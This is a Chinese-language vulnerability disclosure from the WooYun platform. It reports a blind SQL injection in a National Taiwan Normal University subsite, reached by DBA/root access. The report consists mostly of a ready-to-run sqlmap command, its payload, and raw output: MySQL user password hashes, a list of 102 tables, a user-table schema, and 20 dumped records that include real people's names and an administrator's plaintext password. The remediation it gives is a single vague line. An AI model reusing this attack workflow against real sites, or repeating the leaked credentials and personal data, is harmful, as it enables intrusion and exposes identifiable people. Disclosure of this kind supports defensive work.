当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149064

漏洞标题：国立台湾师范大学某分站存在SQL注射漏洞（DBA权限/root密码泄露/102个表/大量用户姓名密码邮箱等信息泄露）（臺灣地區）

相关厂商：国立台湾师范大学

漏洞作者： 路人甲

提交时间：2015-10-24 21:09

修复时间：2015-12-10 23:28

公开时间：2015-12-10 23:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-24： 细节已通知厂商并且等待厂商处理中
2015-10-26： 厂商已经确认，细节仅向厂商公开
2015-11-05： 细节向核心白帽子及相关领域专家公开
2015-11-15： 细节向普通白帽子公开
2015-11-25： 细节向实习白帽子公开
2015-12-10： 细节向公众公开

简要描述：

台湾国立师范大学某分站存在SQL注射漏洞（DBA权限/root密码泄露/102个表/大量用户姓名密码邮箱等信息泄露）

详细说明：

测试地址：http://**.**.**.**/news/index.php?mode=data&id=15434

python sqlmap.py -u "http://**.**.**.**/news/index.php?mode=data&id=15434" -p id --technique=B --threads=10 -D ntnu_relations -T imw_users -C id,name,username,password,email --dump --threads=10

漏洞证明：

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
current user:    'root@localhost'
current user is DBA:    True
database management system users [14]:
[*] ''@'%.%.%.%'
[*] ''@'localhost'
[*] ''@'**.**.**.**'
[*] 'cherry'@'**.**.**.**'
[*] 'new_account_name'@'IP'
[*] 'ntnu_relations'@'%'
[*] 'root'@'%'
[*] 'root'@'**.**.**.**'
[*] 'root'@'**.**.**.**'
[*] 'root'@'**.**.**.**'
[*] 'root'@'**.**.**.**'
[*] 'root'@'localhost'
[*] 'root'@'**.**.**.**'
[*] 'server'@'%'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
database management system users password hashes:
[*] cherry [1]:
    password hash: 5bd98292340f26b2
[*] new_account_name [1]:
    password hash: *B2764B84A314D7C9474F3B047AFDBB6831B280EC
[*] ntnu_relations [1]:
    password hash: 1623fcbe5a9e6c91
[*] root [1]:
    password hash: 273a3d200da09c3e
[*] server [1]:
    password hash: 44594b463a4bd1d4
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
available databases [4]:
[*] information_schema
[*] mysql
[*] ntnu_relations
[*] test
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
Database: ntnu_relations
[102 tables]
+---------------------------------+
| _imw_statistice_visitors_bk0625 |
| imw_alumni_subcriber            |
| imw_activitise                  |
| imw_activitise_type             |
| imw_ad                          |
| imw_ad_link                     |
| imw_ad_type                     |
| imw_adbig                       |
| imw_alumni                      |
| imw_alumni_log                  |
| imw_alumni_queue                |
| imw_alumni_result               |
| imw_alumni_subscriber_type      |
| imw_alumni_type                 |
| imw_contact_us                  |
| imw_contact_us_send_log         |
| imw_content                     |
| imw_course                      |
| imw_course_tmp                  |
| imw_course_type                 |
| imw_course_type_tmp             |
| imw_department                  |
| imw_download                    |
| imw_download_type               |
| imw_en_news                     |
| imw_en_news_type                |
| imw_epapers                     |
| imw_epapers_log                 |
| imw_epapers_media_type          |
| imw_epapers_queue               |
| imw_epapers_result              |
| imw_epapers_subscriber          |
| imw_epapers_subscriber_type     |
| imw_epapers_type                |
| imw_files                       |
| imw_files_link                  |
| imw_film                        |
| imw_film_type                   |
| imw_gallery_album               |
| imw_gallery_album_charts        |
| imw_gallery_type                |
| imw_help                        |
| imw_honor                       |
| imw_honor_type                  |
| imw_inf                         |
| imw_inf_type                    |
| imw_information                 |
| imw_information_type            |
| imw_keywords                    |
| imw_keywords_type               |
| imw_motto                       |
| imw_motto_type                  |
| imw_news                        |
| imw_news_type                   |
| imw_newspaper                   |
| imw_newspaper_type              |
| imw_newsstations                |
| imw_newsstations_type           |
| imw_note                        |
| imw_notes                       |
| imw_notes_type                  |
| imw_organizers_type             |
| imw_payment                     |
| imw_payment_shipment_link       |
| imw_politics                    |
| imw_politics_type               |
| imw_reporter                    |
| imw_reporter_type               |
| imw_return_goods                |
| imw_return_goods_main           |
| imw_searchbot                   |
| imw_sessions                    |
| imw_shipment                    |
| imw_sodality                    |
| imw_sodality_type               |
| imw_statistics_ad               |
| imw_statistics_agent            |
| imw_statistics_functions        |
| imw_statistics_login_history    |
| imw_statistics_visitors         |
| imw_system_setting              |
| imw_themes                      |
| imw_users                       |
| imw_users_type                  |
| imw_web_content                 |
| imw_weekly                      |
| imw_weekly_activities           |
| imw_weekly_activitise_type      |
| imw_weekly_epapers              |
| imw_weekly_log                  |
| imw_weekly_news                 |
| imw_weekly_newspaper            |
| imw_weekly_queue                |
| imw_weekly_result               |
| imw_weekly_subscriber           |
| imw_weekly_subscriber_type      |
| imw_weekly_temp                 |
| imw_weekly_type                 |
| ip2nation                       |
| ip2nationcountries              |
| news                            |
| pubpaper                        |
+---------------------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
Database: ntnu_relations
Table: imw_users
[12 columns]
+------------------+-------------------+
| Column           | Type              |
+------------------+-------------------+
| company_name     | varchar(255)      |
| email            | varchar(255)      |
| id               | int(10)           |
| idnumber         | varchar(20)       |
| name             | varchar(255)      |
| name_alias       | varchar(255)      |
| password         | varchar(100)      |
| person_in_charge | varchar(255)      |
| portrait         | varchar(255)      |
| sex              | eaum('0',!??????? |
| type_id          | int(10)           |
| username         | varchar(100)      |
+------------------+-------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mode=data&id=15434 AND 2269=2269
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5
Database: ntnu_relations
+-----------+---------+
| Table     | Entries |
+-----------+---------+
| imw_users | 890     |
+-----------+---------+


选取其中前20证明危害即可：

back-end DBMS: MySQL 5
Database: ntnu_relations
Table: imw_users
[20 entries]
+----+-------+-----------+----------+-----------------------+
| id | name  | username  | password | email                 |
+----+-------+-----------+----------+-----------------------+
| 1  | 網站管理員 | root      | 8yvc8lwg | pr@**.**.**.**   |
| 9  | 胡世澤   | abow722   | <blank>  | <blank>               |
| 18 | 許睿芸   | julia_hsu | <blank>  | julia_hsu@**.**.**.** |
| 19 | 徐秉琦   | vickyhsu  | <blank>  | vickyhsu@**.**.**.**  |
| 20 | 高振楠   | necford   | <blank>  | necford@**.**.**.**   |
| 21 | 李東穎   | dong122   | <blank>  | dong122@**.**.**.**   |
| 22 | 黃培娪   | t1101     | <blank>  | t1101@**.**.**.**     |
| 23 | 李玉雲   | yiyun     | <blank>  | yiyun@**.**.**.**     |
| 24 | 趙奕翔   | eshozhao  | <blank>  | eshozhao@**.**.**.**  |
| 25 | 黃心瑜   | shinyu688 | <blank>  | shinyu688@**.**.**.** |
| 26 | 蔡佳芳   | alicetsai | <blank>  | alicetsai@**.**.**.** |
| 27 | 劉純妤   | polly-l   | <blank>  | polly-l@**.**.**.**   |
| 28 | 陳經緯   | ch888     | <blank>  | ch888@**.**.**.**     |
| 29 | 蘇昭銘   | oinzuka   | <blank>  | oinzuka@**.**.**.**   |
| 30 | 王慕涵   | muhan     | <blank>  | muhan@**.**.**.**     |
| 31 | 汪淑慧   | shwang.tn | <blank>  | shwang.tn@**.**.**.** |
| 32 | 江姿儀   | tzuyi     | <blank>  | tzuyi@**.**.**.**     |
| 33 | 何佳蓉   | sarahho15 | <blank>  | sarahho15@**.**.**.** |
| 34 | 張翊威   | punurvasu | <blank>  | punurvasu@**.**.**.** |
| 35 | 張育甄   | anains    | <blank>  | anains@**.**.**.**    |
+----+-------+-----------+----------+-----------------------+

修复方案：

增加过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：19

确认时间：2015-10-26 23:27

厂商回复：

感謝通報

最新状态：

暂无